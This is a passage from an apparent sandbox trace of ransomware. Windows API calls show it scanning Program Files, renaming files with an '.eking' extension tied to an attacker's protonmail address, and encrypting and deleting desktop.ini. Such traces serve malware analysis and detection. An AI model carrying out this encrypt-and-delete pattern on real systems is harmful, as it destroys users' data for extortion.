(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0177.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0177.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.661] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=36864) returned 1 [0177.661] CloseHandle (hObject=0x1c0) returned 1 [0177.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0177.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0177.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.662] SetEvent (hEvent=0x174) returned 1 [0177.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.664] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=81920) returned 1 [0177.664] CloseHandle (hObject=0x1c0) returned 1 [0177.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0177.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0177.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.666] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=9804) returned 1 [0177.666] CloseHandle (hObject=0x1c0) returned 1 [0177.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0177.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0177.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.667] SetEvent (hEvent=0x174) returned 1 [0177.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.667] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=9975) returned 1 [0177.667] CloseHandle (hObject=0x1c0) returned 1 [0177.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0177.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0177.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.668] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1212416) returned 1 [0177.668] CloseHandle (hObject=0x1c0) returned 1 [0177.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0177.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0177.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.669] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=16384) returned 1 [0177.670] CloseHandle (hObject=0x1c0) returned 1 [0177.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0177.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0177.670] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.671] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=364544) returned 1 [0177.671] CloseHandle (hObject=0x1c0) returned 1 [0177.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0177.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0177.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.672] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8192) returned 1 [0177.672] CloseHandle (hObject=0x1c0) returned 1 [0177.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0177.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0177.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.673] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.679] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=282136) returned 1 [0177.679] CloseHandle (hObject=0x1f0) returned 1 [0177.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll")) returned 0x20 [0177.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll")) returned 0x20 [0177.679] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.679] SetEvent (hEvent=0x174) returned 1 [0177.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.681] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=199192) returned 1 [0177.681] CloseHandle (hObject=0x1f0) returned 1 [0177.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll")) returned 0x20 [0177.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll")) returned 0x20 [0177.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.682] SetEvent (hEvent=0x174) returned 1 [0177.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.682] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=886784) returned 1 [0177.682] CloseHandle (hObject=0x1f0) returned 1 [0177.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0177.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0177.683] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\wab32.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.684] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1098752) returned 1 [0177.684] CloseHandle (hObject=0x1f0) returned 1 [0177.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0177.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0177.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.685] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=174) returned 1 [0177.685] CloseHandle (hObject=0x1f0) returned 1 [0177.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0177.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0177.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\desktop.ini.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.686] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0177.687] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0177.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\desktop.ini.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x26, hTemplateFile=0x0) returned 0x1ec [0178.373] ReadFile (in: hFile=0x1f0, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0xae, lpOverlapped=0x0) returned 1 [0178.388] WriteFile (in: hFile=0x1ec, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xb0, lpOverlapped=0x0) returned 1 [0178.390] WriteFile (in: hFile=0x1ec, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0178.391] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0178.391] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0178.391] WriteFile (in: hFile=0x1f0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0xae, lpOverlapped=0x0) returned 1 [0178.624] FlushFileBuffers (hFile=0x1f0) returned 1 [0180.044] FlushFileBuffers (hFile=0x1ec) returned 1 [0181.061] CloseHandle (hObject=0x1f0) returned 1 [0181.062] CloseHandle (hObject=0x1ec) returned 1 [0181.063] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0181.066] SetEvent (hEvent=0x174) returned 1 [0181.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.067] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3580) returned 1 [0181.067] CloseHandle (hObject=0x1ec) returned 1 [0181.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png")) returned 0x20 [0181.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png")) returned 0x20 [0181.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.067] SetEvent (hEvent=0x174) returned 1 [0181.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.068] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3595) returned 1 [0181.068] CloseHandle (hObject=0x1ec) returned 1 [0181.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png")) returned 0x20 [0181.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png")) returned 0x20 [0181.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd 